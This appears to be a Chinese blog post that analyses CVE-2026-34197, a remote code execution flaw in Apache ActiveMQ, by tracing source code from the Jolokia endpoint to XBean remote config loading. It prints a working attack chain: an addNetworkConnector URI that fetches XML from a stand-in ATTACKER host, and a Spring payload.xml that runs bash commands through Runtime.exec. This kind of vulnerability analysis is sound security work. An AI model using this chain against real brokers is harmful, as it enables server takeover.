漏洞概述
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2026-34197 |
| 影响版本 | Apache ActiveMQ Broker < 5.19.4,6.0.0 ~ 6.2.3; Apache ActiveMQ All < 5.19.4,6.0.0 ~ 6.2.3; Apache ActiveMQ < 5.19.4,6.0.0 ~ 6.2.3 |
| 漏洞类型 | 远程代码执行(RCE) |
| 攻击向量 | 网络(HTTP) |
| 所需权限 | 低权限(默认凭据 admin:admin) |
| 漏洞本质 | Jolokia JMX 接口暴露 + vm:// URI 参数注入 + XBean Spring 远程配置加载 |
漏洞形成原因
ActiveMQ支持Broker联邦网络,多个Broker通过NetworkConnector互相桥接,消息可以在broker之间自动转发。比如生产者连接BrokerA发送消息,消费者连接BrokerB消费消息,Network Bridge会自动将消息从A转发到B。 攻击者调用addNetworkConnector添加一条连接["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"],首先规定连接的Broker发现方式是static,即手动指定连接uri。这个时候指定vm://引用一个不存在的代理时,会自动创建,并且还接受一个BrokerConfig参数,支持指定配置方式(==支持从远程加载==),config中指定xbeanFactory用于配置文件是xml的形式,并且会直接解析配置文件中的xml内容,导致远程代码执行。
源码调试
参考 https://blog.atoposx.com/archives/019d8a0e-a540-752d-94c1-e2c3fa198bcb
详细利用步骤分析
1. 入口点:Jolokia HTTP-JMX 桥接
1.1 Jolokia Servlet 注册
文件: assembly/src/release/webapps/api/WEB-INF/web.xml:49
<servlet>
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.server.core.http.AgentServlet</servlet-class>
<init-param>
<param-name>policyLocation</param-name>
<param-value>${prop:jolokia.conf}</param-value>
</init-param>
<init-param>
<param-name>allowErrorDetails</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jolokia-agent</servlet-name>
<url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>
Jolokia 以 Servlet 形式部署在 /api/jolokia/* 路径,将 HTTP 请求转换为 JMX 调用。
1.2 Jolokia 访问控制策略
文件: assembly/src/release/conf/jolokia-access.xml
<restrict>
<!-- 仅允许 read/list/version/search,默认禁止 exec -->
<commands>
<command>read</command>
<command>list</command>
<command>version</command>
<command>search</command>
</commands>
<allow>
<!-- 关键:对 org.apache.activemq:* 放开所有操作 -->
<mbean>
<name>org.apache.activemq:*</name>
<attribute>*</attribute>
<operation>*</operation> <!-- 允许所有 exec 操作 -->
</mbean>
</allow>
</restrict>

<allow> 块中对 org.apache.activemq:* 的所有 MBean 开放了全部操作(<operation>*</operation>),这覆盖了默认的 exec 禁止规则,使得攻击者可以调用任意 ActiveMQ MBean 方法,包括危险的 addNetworkConnector。
注意:请求中需要携带 Origin 头,因为 jolokia-access.xml 中配置了 <strict-checking/>,要求请求必须包含合法的 Origin/Referer 头。
2. JMX 接口层:BrokerViewMBean → BrokerView
2.1 MBean 接口声明
文件: activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java:259

接口通过 JMX 暴露,Jolokia 将 HTTP 请求中的 operation 字段映射到addNetworkConnector方法。
步入addNetworkConnector()
2.2 JMX 实现类
文件: activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java:411
discoveryAddress 参数(解析的arguments请求参数)被原样传入 brokerService.addNetworkConnector(),connector.start() 会立即触发连接建立流程。
3. Broker 层
3.1 BrokerService 字符串转 URI
discoveryAddress 参数直接提交作为URI
直接构造DiscoveryNetworkConnector
步入DiscoveryNetworkConnector()->setUri()->DiscoveryAgentFactory.createDiscoveryAgent()->tf.doCreateDiscoveryAgent()->doCreateDiscoveryAgent()
4. Discovery 层:static:() 复合 URI 解析
4.1 SimpleDiscoveryAgentFactory 解析复合 URI
文件: activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgentFactory.java:32
doCreateDiscoveryAgent()中会解析uri,解析出scheme和components两个参数
其中scheme: static,components: [vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml]
4.2 SimpleDiscoveryAgent 启动时触发服务发现
文件: activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java:86
注册完rc后,会启动connector的连接,启动连接器后会触发服务发现。它会遍历所有预配置的服务地址,对每一个地址触发一个onServiceAdd事件,通知监听器“发现了一个新的远程Broker服务”

4.3 DiscoveryNetworkConnector 处理服务发现事件
文件: activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java:82
当收到“发现新服务”事件后,DiscoveryNetworkConnector会尝试建立到该服务的Transport连接,它首先会做几个检查:
- 是否是回环连接
- 连接过滤器是否允许
- 是否重复事件

5. Transport 层:vm:// URI 触发 brokerConfig 加载
5.1 VMTransportFactory 提取 brokerConfig 参数
TransportFactory 也是 SPI 机制,根据 URI 的 scheme 查找对应的 TransportFactory。vm scheme 对应 VMTransportFactory
文件: activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java:60
提取brokerconfig并创建broker

config是vm://的形式不是broker://,所以走else分支创建
正常情况下,config参数的设计意图是允许开发者在嵌入式场景中指定Broker的配置文件路径,比如vm://localhost?brokerConfig=xbean:activemq.xml(加载 classpath 中的本地配置),但是在该漏洞中攻击者将config配置指定成了远程的xml脚本,就会从远程地址中获取配置并解析其中的xml字段。
调用createBroker进行broker的创建。BrokerFactory是一个工厂分发器,通过SPI机制查找创建方式。
ActiveMQ支持多种配置格式,例如:
- broker:// 纯代码配置
- xbean: Spring XML配置
- properties: 属性文件配置
这里传入的brokerURI的scheme参数是xbean,那么就会实例化XBeanFactory并调用它的createBroker()方法

6. BrokerFactory 层:SPI 机制分发 xbean: scheme
6.1 BrokerFactory 根据 scheme 查找处理器
文件: activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java:34

7. XBean 层:远程 HTTP 加载 Spring XML
7.1 XBeanBrokerFactory 解析 URI 并加载远程资源
文件: activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java:60
XBeanBrokerFactory 的职责是从 Spring XML 配置文件中加载 BrokerService 实例。它先去掉 xbean: 前缀得到实际的资源路径,
然后通过 Utils.resourceFromString() 将路径转为 Spring Resource 对象
ResourceXmlApplicationContext 是 XBean 提供的 Spring ApplicationContext 实现。构造函数执行时会:
- 通过 UrlResource 发起 HTTP GET 请求到 http://ATTACKER:8888/payload.xml
- 下载 XML 内容
- 用 XmlBeanDefinitionReader 解析 XML 中的所有bean定义
- 实例化所有非 lazy-init 的 Bean — 这是 Spring 容器的默认行为
8. Spring XML 执行层:Bean 实例化触发 RCE
8.1 payload.xml 内容
攻击者在 HTTP 服务器上托管的 payload.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec"
class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<!-- 第一步:获取 Runtime 实例 -->
<property name="targetObject">
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetClass" value="java.lang.Runtime"/>
<property name="targetMethod" value="getRuntime"/>
</bean>
</property>
<!-- 第二步:调用 exec() 方法 -->
<property name="targetMethod" value="exec"/>
<property name="arguments">
<list>
<array value-type="java.lang.String">
<value>/bin/bash</value>
<value>-c</value>
<value>COMMAND_HERE</value> <!-- 替换为实际命令 -->
</array>
</list>
</property>
</bean>
</beans>
8.2 执行原理
MethodInvokingFactoryBean 是 Spring 内置的工厂 Bean,在 Spring 容器初始化时(new ResourceXmlApplicationContext(resource))会自动实例化所有 Bean。实例化 exec Bean 时,Spring 会:
- 先实例化内嵌 Bean → 调用
Runtime.getRuntime()获取 Runtime 实例 - 再调用
targetObject.exec(new String[]{"/bin/bash", "-c", "COMMAND_HERE"})
CVE-2026-34197 Apache ActiveMQ 远程代码执行源码分析
https://blog.atoposx.com/archives/019d94ec-32f3-76af-8406-1c43a0847dc4
评论